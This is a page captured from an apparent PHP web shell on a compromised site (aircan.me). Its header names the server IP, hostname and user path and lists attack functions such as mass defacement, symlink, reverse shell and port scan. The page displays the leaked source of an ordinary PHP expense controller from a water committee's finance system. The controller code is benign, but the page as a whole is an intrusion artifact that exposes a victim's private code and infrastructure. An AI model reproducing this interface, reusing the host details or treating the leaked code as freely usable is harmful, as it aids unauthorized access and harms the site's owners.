Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: EgresosController.php
<?php use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class EgresosController { private function ensureCsrf(): string { if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf']; } public function index(): void { $csrf = $this->ensureCsrf(); $filters = $this->collectExpenseFilters(); $page = max(1, (int)($_GET['page'] ?? 1)); $perPage = max(1, min(100, (int)($_GET['perPage'] ?? 15))); $result = Expense::getAll($filters, $page, $perPage); $items = $result['items'] ?? []; $total = (int)($result['total'] ?? 0); $lastPage = (int)($result['lastPage'] ?? 1); $categories = ExpenseCategory::getAll(); $methods = Expense::getMethods(); $accounts = Account::allActive(); $subcategories = []; $selCat = (int)($filters['category_id'] ?: 0); if ($selCat > 0) { $subcategories = ExpenseCategory::getSubcategoriesByCategory($selCat); } require __DIR__ . '/../views/egresos/index.php'; } public function create(): void { $csrf = $this->ensureCsrf(); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); $categories = ExpenseCategory::getAll(); $methods = Expense::getMethods(); $defaultAccountId = Account::defaultCashAccountId(); $accounts = Account::allActive(); require __DIR__ . '/../views/egresos/create.php'; } public function store(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $expense_date = (string)($_POST['expense_date'] ?? date('Y-m-d')) . ' ' . date('H:i:s'); $category_id = (int)($_POST['category_id'] ?? 0); $subcategory_id = (int)($_POST['subcategory_id'] ?? 0); $amount = (float)($_POST['amount'] ?? 0); $method = trim((string)($_POST['method'] ?? '')); $account_id = (int)($_POST['account_id'] ?? 0); $role = $_SESSION['user']['role'] ?? ''; if ($role === 'CAJERO') { $account_id = Account::defaultCashAccountId(); } $vendor = trim((string)($_POST['vendor'] ?? '')); $ref_number = trim((string)($_POST['ref_number'] ?? '')); $description = trim((string)($_POST['description'] ?? '')); $userId = (int)($_SESSION['user']['id'] ?? 0); if ($category_id <= 0 || $amount <= 0 || $method === '' || $account_id <= 0) { setFlashMessage('error', 'Completa los campos obligatorios (categoría, monto, método y cuenta).'); redirect('egresos.create'); } $account = Account::find($account_id); if (!$account || (int)($account['is_active'] ?? 0) !== 1) { setFlashMessage('error', 'La cuenta seleccionada no está disponible.'); redirect('egresos.create'); } try { $pdo = (new Database())->getConnection(); $pdo->beginTransaction(); $id = Expense::create([ 'expense_date' => $expense_date, 'category_id' => $category_id, 'subcategory_id' => $subcategory_id ?: null, 'amount' => $amount, 'method' => $method, 'vendor' => $vendor, 'ref_number' => $ref_number, 'description' => $description, 'created_by_user_id' => $userId, 'account_id' => $account_id, ], $pdo); $concept = 'Egreso ' . ($ref_number !== '' ? $ref_number : ('#' . $id)); $counterparty = $vendor !== '' ? $vendor : null; $notes = $description !== '' ? $description : null; $ledger = AccountTransaction::record( $account_id, 'Egreso', $amount, $concept, $ref_number !== '' ? $ref_number : null, $method, $counterparty, $notes, $userId, $expense_date, $pdo, null, $id ); Expense::setAccountTransaction($id, $account_id, (int)$ledger['id'], $pdo); $pdo->commit(); setFlashMessage('success', 'Egreso registrado correctamente.'); redirect('egresos.index'); } catch (Throwable $e) { if (isset($pdo) && $pdo->inTransaction()) { $pdo->rollBack(); } setFlashMessage('error', 'No se pudo registrar el egreso: ' . $e->getMessage()); redirect('egresos.create'); } } public function edit(): void { $csrf = $this->ensureCsrf(); $id = (int)($_GET['id'] ?? 0); if ($id <= 0) { http_response_code(400); echo 'ID inválido'; return; } $expense = Expense::findById($id); if (!$expense) { http_response_code(404); echo 'Egreso no encontrado'; return; } $categories = ExpenseCategory::getAll(); $subcategories = []; $selCat = (int)($expense['category_id'] ?? 0); if ($selCat > 0) { $subcategories = ExpenseCategory::getSubcategoriesByCategory($selCat); } $methods = Expense::getMethods(); $defaultAccountId = Account::defaultCashAccountId(); $accounts = Account::allActive(); require __DIR__ . '/../views/egresos/edit.php'; } public function update(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); if ($id <= 0) { redirect('egresos.index'); } $current = Expense::findById($id); if (!$current) { setFlashMessage('error', 'Egreso no encontrado.'); redirect('egresos.index'); } $date = trim((string)($_POST['expense_date'] ?? '')); $time = trim((string)($_POST['expense_time'] ?? '')); $category_id = (int)($_POST['category_id'] ?? 0); $subcategory_id = (int)($_POST['subcategory_id'] ?? 0); $amount = (float)($_POST['amount'] ?? 0); $method = trim((string)($_POST['method'] ?? '')); $account_id = (int)($_POST['account_id'] ?? 0); $role = $_SESSION['user']['role'] ?? ''; if ($role === 'CAJERO') { $account_id = Account::defaultCashAccountId(); } $vendor = trim((string)($_POST['vendor'] ?? '')); $ref_number = trim((string)($_POST['ref_number'] ?? '')); $description = trim((string)($_POST['description'] ?? '')); if ($category_id <= 0 || $amount <= 0 || $method === '' || $account_id <= 0) { setFlashMessage('error', 'Completa los campos obligatorios (categoría, monto, método y cuenta).'); header('Location: ' . BASE_URL . '?route=egresos.edit&id=' . $id); exit; } $finalDateTime = $date !== '' ? ($date . ' ' . ($time !== '' ? ($time . (strlen($time) === 5 ? ':00' : '')) : date('H:i:s'))) : date('Y-m-d H:i:s'); $account = Account::find($account_id); if (!$account || (int)($account['is_active'] ?? 0) !== 1) { setFlashMessage('error', 'La cuenta seleccionada no está disponible.'); header('Location: ' . BASE_URL . '?route=egresos.edit&id=' . $id); exit; } try { $pdo = (new Database())->getConnection(); $pdo->beginTransaction(); $ok = Expense::update($id, [ 'expense_date' => $finalDateTime, 'category_id' => $category_id, 'subcategory_id' => $subcategory_id ?: null, 'amount' => $amount, 'method' => $method, 'vendor' => $vendor, 'ref_number' => $ref_number, 'description' => $description, 'account_id' => $account_id, ], $pdo); $concept = 'Egreso ' . ($ref_number !== '' ? $ref_number : ('#' . $id)); $counterparty = $vendor !== '' ? $vendor : null; $notes = $description !== '' ? $description : null; $txnId = (int)($current['account_transaction_id'] ?? 0); $previousAccountId = (int)($current['account_id'] ?? 0); if ($txnId > 0 && $previousAccountId !== $account_id) { AccountTransaction::deleteCascade($txnId, $pdo); $ledger = AccountTransaction::record( $account_id, 'Egreso', $amount, $concept, $ref_number !== '' ? $ref_number : null, $method, $counterparty, $notes, (int)($_SESSION['user']['id'] ?? 0), $finalDateTime, $pdo, null, $id ); Expense::setAccountTransaction($id, $account_id, (int)$ledger['id'], $pdo); } elseif ($txnId > 0) { AccountTransaction::updateExisting( $txnId, $amount, [ 'reference' => $ref_number !== '' ? $ref_number : null, 'concept' => $concept, 'method' => $method, 'counterparty' => $counterparty, 'notes' => $notes, 'transacted_at' => $finalDateTime, ], $pdo ); Expense::setAccountTransaction($id, $account_id, $txnId, $pdo); } else { $ledger = AccountTransaction::record( $account_id, 'Egreso', $amount, $concept, $ref_number !== '' ? $ref_number : null, $method, $counterparty, $notes, (int)($_SESSION['user']['id'] ?? 0), $finalDateTime, $pdo, null, $id ); Expense::setAccountTransaction($id, $account_id, (int)$ledger['id'], $pdo); } $pdo->commit(); setFlashMessage('success', $ok ? 'Egreso actualizado correctamente.' : 'No se realizaron cambios.'); header('Location: ' . BASE_URL . '?route=egresos.edit&id=' . $id); exit; } catch (Throwable $e) { if (isset($pdo) && $pdo->inTransaction()) { $pdo->rollBack(); } setFlashMessage('error', 'No se pudo actualizar el egreso: ' . $e->getMessage()); header('Location: ' . BASE_URL . '?route=egresos.edit&id=' . $id); exit; } } public function delete(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); if ($id <= 0) { redirect('egresos.index'); } try { $pdo = (new Database())->getConnection(); $pdo->beginTransaction(); $expense = Expense::findById($id); $transactionId = (int)($expense['account_transaction_id'] ?? 0); if ($transactionId > 0) { AccountTransaction::deleteCascade($transactionId, $pdo); } $deleted = Expense::delete($id, $pdo); $pdo->commit(); setFlashMessage($deleted ? 'success' : 'warning', $deleted ? 'Egreso eliminado correctamente.' : 'No se eliminó el registro.'); } catch (Throwable $e) { if (isset($pdo) && $pdo->inTransaction()) { $pdo->rollBack(); } setFlashMessage('error', 'No se pudo eliminar: ' . $e->getMessage()); } redirect('egresos.index'); } // -------- Categories Management -------- public function categories(): void { $csrf = $this->ensureCsrf(); $categories = ExpenseCategory::getAll(); $sel = (int)($_GET['category_id'] ?? 0); $subcategories = $sel > 0 ? ExpenseCategory::getSubcategoriesByCategory($sel) : []; require __DIR__ . '/../views/egresos/categories.php'; } public function categoryStore(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $name = trim((string)($_POST['name'] ?? '')); $type = trim((string)($_POST['type'] ?? 'Operativo')); if ($name === '') { $_SESSION['flash_error'] = 'Nombre requerido'; redirect('egresos.categories'); } ExpenseCategory::createCategory($name, in_array($type, ['Operativo','Mantenimiento','Administrativo','Otro'], true) ? $type : 'Operativo'); $_SESSION['flash_success'] = 'Categoría creada'; redirect('egresos.categories'); } public function categoryUpdate(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $name = trim((string)($_POST['name'] ?? '')); $type = trim((string)($_POST['type'] ?? 'Operativo')); if ($id <= 0 || $name === '') { $_SESSION['flash_error'] = 'Datos inválidos'; redirect('egresos.categories'); } ExpenseCategory::updateCategory($id, $name, in_array($type, ['Operativo','Mantenimiento','Administrativo','Otro'], true) ? $type : 'Operativo'); $_SESSION['flash_success'] = 'Categoría actualizada'; redirect('egresos.categories'); } public function categoryDelete(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); if ($id <= 0) { redirect('egresos.categories'); } try { ExpenseCategory::deleteCategory($id); $_SESSION['flash_success'] = 'Categoría eliminada'; } catch (Throwable $e) { $_SESSION['flash_error'] = 'No se pudo eliminar: asegúrate de no tener subcategorías o egresos dependientes.'; } redirect('egresos.categories'); } public function subcategoryStore(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $cid = (int)($_POST['category_id'] ?? 0); $name = trim((string)($_POST['name'] ?? '')); if ($cid <= 0 || $name === '') { $_SESSION['flash_error'] = 'Datos inválidos'; redirect('egresos.categories'); } ExpenseCategory::createSubcategory($cid, $name); $_SESSION['flash_success'] = 'Subcategoría creada'; header('Location: ' . BASE_URL . '?route=egresos.categories&category_id=' . $cid); exit; } public function subcategoryUpdate(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $name = trim((string)($_POST['name'] ?? '')); $cid = (int)($_POST['category_id'] ?? 0); if ($id <= 0 || $name === '' || $cid <= 0) { $_SESSION['flash_error'] = 'Datos inválidos'; redirect('egresos.categories'); } ExpenseCategory::updateSubcategory($id, $name); $_SESSION['flash_success'] = 'Subcategoría actualizada'; header('Location: ' . BASE_URL . '?route=egresos.categories&category_id=' . $cid); exit; } public function subcategoryDelete(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('egresos.categories'); } if (!$this->checkCsrfPost()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $cid = (int)($_POST['category_id'] ?? 0); if ($id <= 0 || $cid <= 0) { redirect('egresos.categories'); } ExpenseCategory::deleteSubcategory($id); $_SESSION['flash_success'] = 'Subcategoría eliminada'; header('Location: ' . BASE_URL . '?route=egresos.categories&category_id=' . $cid); exit; } public function subcategories(): void { header('Content-Type: application/json'); $cid = (int)($_GET['category_id'] ?? 0); if ($cid <= 0) { echo json_encode([]); return; } echo json_encode(ExpenseCategory::getSubcategoriesByCategory($cid)); } public function export(): void { requireAuth(['ADMIN','CAJERO']); // Export CSV using same filters as index $filters = $this->collectExpenseFilters(); $rows = $this->fetchAllExpenses($filters); $filename = 'egresos_' . ($filters['date_from'] ?: 'inicio') . '_a_' . ($filters['date_to'] ?: 'hoy') . '.csv'; header('Content-Type: text/csv; charset=UTF-8'); header('Content-Disposition: attachment; filename="' . $filename . '"'); echo "\xEF\xBB\xBF"; // UTF-8 BOM para Excel $out = fopen('php://output', 'w'); fputcsv($out, ['Fecha', 'Categoría', 'Subcategoría', 'Monto', 'Método', 'Proveedor', 'Referencia', 'Descripción', 'Registrado por']); foreach ($rows as $r) { fputcsv($out, [ $r['expense_date'] ?? '', $r['category_name'] ?? '', $r['subcategory_name'] ?? '', number_format((float)($r['amount'] ?? 0), 2, '.', ''), $r['method'] ?? '', $r['vendor'] ?? '', $r['ref_number'] ?? '', $r['description'] ?? '', $r['creator_name'] ?? '', ]); } fclose($out); } public function exportExcel(): void { requireAuth(['ADMIN','CAJERO']); $filters = $this->collectExpenseFilters(); $rows = $this->fetchAllExpenses($filters); $totalAmount = 0.0; foreach ($rows as $row) { $totalAmount += (float)($row['amount'] ?? 0); } $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } if (!class_exists(Spreadsheet::class)) { http_response_code(500); echo 'PhpSpreadsheet no está disponible.'; return; } $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $sheet->setTitle('Egresos'); $headerColor = '173e62'; $rowPointer = 1; $sheet->mergeCells("A{$rowPointer}:J{$rowPointer}"); $sheet->setCellValue("A{$rowPointer}", 'SISCAPS - Reporte de Egresos'); $sheet->getStyle("A{$rowPointer}") ->getFont()->setBold(true)->setSize(15); $sheet->getStyle("A{$rowPointer}") ->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER); $rowPointer++; $sheet->mergeCells("A{$rowPointer}:J{$rowPointer}"); $sheet->setCellValue("A{$rowPointer}", 'Generado: ' . date('d/m/Y H:i')); $rowPointer++; $sheet->mergeCells("A{$rowPointer}:J{$rowPointer}"); $sheet->setCellValue("A{$rowPointer}", 'Filtros: ' . $this->describeExpenseFilters($filters)); $rowPointer++; $sheet->mergeCells("A{$rowPointer}:J{$rowPointer}"); $sheet->setCellValue( "A{$rowPointer}", 'Resumen: Registros ' . count($rows) . ' | Total gastado: ' . format_currency($totalAmount) ); $rowPointer += 2; $headerRow = $rowPointer; $headers = [ 'Fecha', 'Categoría', 'Subcategoría', 'Proveedor', 'Referencia', 'Método', 'Cuenta', 'Monto', 'Registrado por', 'Descripción', ]; $sheet->fromArray($headers, null, "A{$headerRow}"); $sheet->getStyle("A{$headerRow}:J{$headerRow}")->applyFromArray([ 'font' => ['bold' => true, 'color' => ['rgb' => 'FFFFFF']], 'fill' => [ 'fillType' => Fill::FILL_SOLID, 'startColor' => ['rgb' => strtoupper($headerColor)], ], 'alignment' => [ 'horizontal' => Alignment::HORIZONTAL_CENTER, 'vertical' => Alignment::VERTICAL_CENTER, ], 'borders' => ['allBorders' => ['borderStyle' => Border::BORDER_THIN]], ]); $rowPointer = $headerRow + 1; foreach ($rows as $expense) { $sheet->fromArray([ format_datetime($expense['expense_date'] ?? ''), $expense['category_name'] ?? '', $expense['subcategory_name'] ?? '', $expense['vendor'] ?? '', $expense['ref_number'] ?? '', $expense['method'] ?? '', $this->formatExpenseAccountLabel($expense), (float)($expense['amount'] ?? 0), $expense['creator_name'] ?? '', $expense['description'] ?? '', ], null, "A{$rowPointer}"); $rowPointer++; } $dataEndRow = $rowPointer - 1; if ($dataEndRow >= $headerRow + 1) { $sheet->getStyle("A" . ($headerRow + 1) . ":J{$dataEndRow}")->applyFromArray([ 'borders' => ['allBorders' => ['borderStyle' => Border::BORDER_HAIR]], 'alignment' => ['vertical' => Alignment::VERTICAL_CENTER], ]); $sheet->getStyle("H" . ($headerRow + 1) . ":H{$dataEndRow}") ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_NUMBER_COMMA_SEPARATED1); $sheet->setAutoFilter("A{$headerRow}:J{$dataEndRow}"); } if ($dataEndRow >= $headerRow + 1) { $sheet->mergeCells("A{$rowPointer}:G{$rowPointer}"); $sheet->setCellValue("A{$rowPointer}", 'Total gastado'); $sheet->setCellValue("H{$rowPointer}", $totalAmount); $sheet->getStyle("A{$rowPointer}:J{$rowPointer}")->applyFromArray([ 'font' => ['bold' => true], 'borders' => ['top' => ['borderStyle' => Border::BORDER_THIN]], ]); $sheet->getStyle("H{$rowPointer}") ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_NUMBER_COMMA_SEPARATED1); $rowPointer++; } foreach (range('A', 'J') as $col) { $sheet->getColumnDimension($col)->setAutoSize(true); } $sheet->freezePane('A' . ($headerRow + 1)); $filename = 'Egresos_' . date('Ymd_His') . '.xlsx'; header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Cache-Control: max-age=0'); $writer = IOFactory::createWriter($spreadsheet, 'Xlsx'); $writer->save('php://output'); exit; } public function exportPdf(): void { requireAuth(['ADMIN','CAJERO']); // Usar los mismos filtros del index $filters = $this->collectExpenseFilters(); $rows = $this->fetchAllExpenses($filters); $total = 0.0; $byCategory = []; $byMethod = []; foreach ($rows as $r) { $amt = (float)($r['amount'] ?? 0); $total += $amt; $cat = $r['category_name'] ?? 'Sin categoría'; $byCategory[$cat] = ($byCategory[$cat] ?? 0) + $amt; $m = $r['method'] ?? 'N/D'; $byMethod[$m] = ($byMethod[$m] ?? 0) + $amt; } // Cargar Dompdf si existe $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } $html = $this->renderExpensesReportHtml($rows, $filters, $total, $byCategory, $byMethod); if (class_exists('Dompdf\\Dompdf')) { $dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'portrait'); $dompdf->render(); $fname = 'Egresos_' . date('Ymd_His') . '.pdf'; $dompdf->stream($fname, ['Attachment' => true]); return; } // Fallback HTML imprimible header('Content-Type: text/html; charset=UTF-8'); echo $html; echo '<script>window.addEventListener("load",()=>setTimeout(()=>window.print(),200));</script>'; } private function renderExpensesReportHtml(array $rows, array $filters, float $total, array $byCategory, array $byMethod): string { $applied = []; if (!empty($filters['q'])) { $applied[] = 'Búsqueda: ' . htmlspecialchars($filters['q']); } if (!empty($filters['category_id'])) { $applied[] = 'Categoría ID: ' . (int)$filters['category_id']; } if (!empty($filters['subcategory_id'])) { $applied[] = 'Subcategoría ID: ' . (int)$filters['subcategory_id']; } if (!empty($filters['method'])) { $applied[] = 'Método: ' . htmlspecialchars($filters['method']); } if (!empty($filters['date_from']) || !empty($filters['date_to'])) { $applied[] = 'Rango: ' . htmlspecialchars($filters['date_from'] ?: 'inicio') . ' a ' . htmlspecialchars($filters['date_to'] ?: 'hoy'); } $generatedAt = date('d/m/Y H:i'); $filtersDesc = $this->describeExpenseFilters($filters); $systemData = SystemData::get(); $committeeName = trim((string)($systemData['committee_name'] ?? '')); if ($committeeName === '') { $committeeName = 'Comité de Agua Potable y Saneamiento'; } $providerReg = trim((string)($systemData['provider_registration_number'] ?? '')); $ruc = trim((string)($systemData['ruc_number'] ?? '')); $municipality = trim((string)($systemData['municipality'] ?? '')); $department = trim((string)($systemData['department'] ?? '')); $physicalAddress = trim((string)($systemData['physical_address'] ?? '')); $phone = trim((string)($systemData['phone'] ?? '')); if ($physicalAddress !== '') { $maxAddr = 110; if (mb_strlen($physicalAddress) > $maxAddr) { $physicalAddress = rtrim(mb_substr($physicalAddress, 0, $maxAddr)) . '...'; } } $locationLine = trim(implode(' - ', array_filter([$municipality, $department]))); $regRucLine = trim(implode(' | ', array_filter([ $providerReg !== '' ? ('Reg. prestador: ' . $providerReg) : '', $ruc !== '' ? ('RUC: ' . $ruc) : '', ]))); $contactLine = trim(implode(' | ', array_filter([ $physicalAddress !== '' ? ('Dir.: ' . $physicalAddress) : '', $phone !== '' ? ('Tel.: ' . $phone) : '', ]))); $logoDataUri = null; $logoRel = trim((string)($systemData['logo_path'] ?? '')); if ($logoRel !== '') { $logoAbs = dirname(__DIR__) . '/public/' . ltrim($logoRel, '/'); if (is_file($logoAbs)) { $ext = strtolower(pathinfo($logoAbs, PATHINFO_EXTENSION)); $mimeMap = [ 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'webp' => 'image/webp', 'gif' => 'image/gif', ]; $mime = $mimeMap[$ext] ?? 'application/octet-stream'; $bin = @file_get_contents($logoAbs); if ($bin !== false) { $logoDataUri = 'data:' . $mime . ';base64,' . base64_encode($bin); } } } // Ordenar breakdowns desc arsort($byCategory); arsort($byMethod); ob_start(); ?> <!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <title>Informe de Egresos</title> <style> * { box-sizing: border-box; } body { font-family: Arial, Helvetica, sans-serif; font-size: 10px; color:#222; margin: 12px; } .membrete { border-bottom: 1px solid #ddd; padding-bottom: 6px; margin-bottom: 8px; } .membrete-table { width: 100%; border-collapse: collapse; table-layout: auto; } .membrete-logo { width: 64px; vertical-align: top; padding-right: 8px; } .membrete-logo img { width: 64px; height: 64px; object-fit: contain; } .membrete-info { vertical-align: top; } .membrete-right { width: 260px; vertical-align: top; text-align: right; } .membrete-title { font-size: 12px; font-weight: bold; margin: 0; line-height: 1.2; } .membrete-line { font-size: 9px; margin: 0; line-height: 1.2; color: #333; } .membrete-meta { font-size: 9px; color: #555; word-break: break-word; } .box { border:1px solid #ddd; border-radius:6px; padding:10px; margin:10px 0; } table { width:100%; border-collapse: collapse; } th, td { padding:6px 8px; border-bottom:1px solid #eee; text-align:left; } thead th { background:#f8f9fa; border-bottom:1px solid #ddd; } .right { text-align:right; } .small { font-size: 11px; } .grid { display:grid; grid-template-columns: 1fr 1fr; gap:10px; } </style> </head> <body> <div class="membrete"> <table class="membrete-table"> <tr> <td class="membrete-logo"> <?php if (!empty($logoDataUri)): ?> <img src="<?= htmlspecialchars($logoDataUri) ?>" alt="Logo"> <?php endif; ?> </td> <td class="membrete-info"> <p class="membrete-title"><?= htmlspecialchars($committeeName) ?></p> <?php if ($regRucLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($regRucLine) ?></p> <?php endif; ?> <?php if ($locationLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($locationLine) ?></p> <?php endif; ?> <?php if ($contactLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($contactLine) ?></p> <?php endif; ?> </td> <td class="membrete-right"> <p class="membrete-title">Egresos (OMA)</p> <div class="membrete-meta"><strong>Total registros:</strong> <?= count($rows) ?></div> <div class="membrete-meta"><strong>Monto total:</strong> <?= format_currency($total) ?></div> <div class="membrete-meta"><strong>Generado:</strong> <?= htmlspecialchars($generatedAt) ?></div> <div class="membrete-meta"><strong>Filtro:</strong> <?= htmlspecialchars($filtersDesc) ?></div> </td> </tr> </table> </div> <div class="grid"> <div class="box"> <strong>Por Categoría</strong> <table> <thead><tr><th>Categoría</th><th class="right">Monto</th></tr></thead> <tbody> <?php if ($byCategory): foreach ($byCategory as $name=>$amt): ?> <tr><td><?= htmlspecialchars($name) ?></td><td class="right"><?= format_currency($amt) ?></td></tr> <?php endforeach; else: ?> <tr><td colspan="2" class="muted">Sin datos</td></tr> <?php endif; ?> </tbody> </table> </div> <div class="box"> <strong>Por Método</strong> <table> <thead><tr><th>Método</th><th class="right">Monto</th></tr></thead> <tbody> <?php if ($byMethod): foreach ($byMethod as $name=>$amt): ?> <tr><td><?= htmlspecialchars($name) ?></td><td class="right"><?= format_currency($amt) ?></td></tr> <?php endforeach; else: ?> <tr><td colspan="2" class="muted">Sin datos</td></tr> <?php endif; ?> </tbody> </table> </div> </div> <div class="box"> <strong>Detalle</strong> <table> <thead> <tr> <th style="width:12%">Fecha</th> <th style="width:16%">Categoría</th> <th style="width:16%">Subcategoría</th> <th>Proveedor</th> <th style="width:14%">Referencia</th> <th class="right" style="width:14%">Monto</th> <th style="width:16%">Método</th> </tr> </thead> <tbody> <?php if ($rows): foreach ($rows as $r): ?> <tr> <td><?= htmlspecialchars(format_date($r['expense_date'] ?? '')) ?></td> <td><?= htmlspecialchars($r['category_name'] ?? '') ?></td> <td><?= htmlspecialchars($r['subcategory_name'] ?? '') ?></td> <td><?= htmlspecialchars($r['vendor'] ?? '') ?></td> <td><?= htmlspecialchars($r['ref_number'] ?? '') ?></td> <td class="right"><?= format_currency($r['amount'] ?? 0) ?></td> <td><?= htmlspecialchars($r['method'] ?? '') ?></td> </tr> <?php endforeach; else: ?> <tr><td colspan="7" class="muted">No hay egresos para los filtros seleccionados.</td></tr> <?php endif; ?> </tbody> </table> </div> </body> </html> <?php return (string)ob_get_clean(); } private function describeExpenseFilters(array $filters): string { $parts = []; if (!empty($filters['q'])) { $parts[] = 'Búsqueda: "' . $filters['q'] . '"'; } if (!empty($filters['category_id'])) { $parts[] = 'Categoría ID: ' . (int)$filters['category_id']; } if (!empty($filters['subcategory_id'])) { $parts[] = 'Subcategoría ID: ' . (int)$filters['subcategory_id']; } if (!empty($filters['method'])) { $parts[] = 'Método: ' . $filters['method']; } if (!empty($filters['account_id'])) { $parts[] = 'Cuenta ID: ' . (int)$filters['account_id']; } if (!empty($filters['date_from']) || !empty($filters['date_to'])) { $parts[] = 'Rango: ' . ($filters['date_from'] ?: 'inicio') . ' a ' . ($filters['date_to'] ?: 'hoy'); } return $parts ? implode(' | ', $parts) : 'Sin filtros'; } private function collectExpenseFilters(): array { return [ 'q' => trim((string)($_GET['q'] ?? '')), 'category_id' => $_GET['category_id'] ?? '', 'subcategory_id' => $_GET['subcategory_id'] ?? '', 'method' => $_GET['method'] ?? '', 'date_from' => $_GET['date_from'] ?? '', 'date_to' => $_GET['date_to'] ?? '', 'account_id' => $_GET['account_id'] ?? '', ]; } private function fetchAllExpenses(array $filters): array { $res = Expense::getAll($filters, 1, 100000); return $res['items'] ?? []; } private function formatExpenseAccountLabel(array $expense): string { $name = trim((string)($expense['account_name'] ?? '')); $code = trim((string)($expense['account_code'] ?? '')); $currency = trim((string)($expense['account_currency'] ?? '')); if ($name === '' && $code === '' && $currency === '') { return 'No vinculada'; } $label = $name; if ($code !== '') { $label .= $label !== '' ? ' (' . $code . ')' : $code; } if ($currency !== '') { $label .= $label !== '' ? ' - ' . $currency : $currency; } return trim($label); } private function checkCsrfPost(): bool { $token = $_POST['csrf'] ?? ''; return $token && isset($_SESSION['csrf']) && hash_equals($_SESSION['csrf'], $token); } }
Coded With 💗 by
0x6ick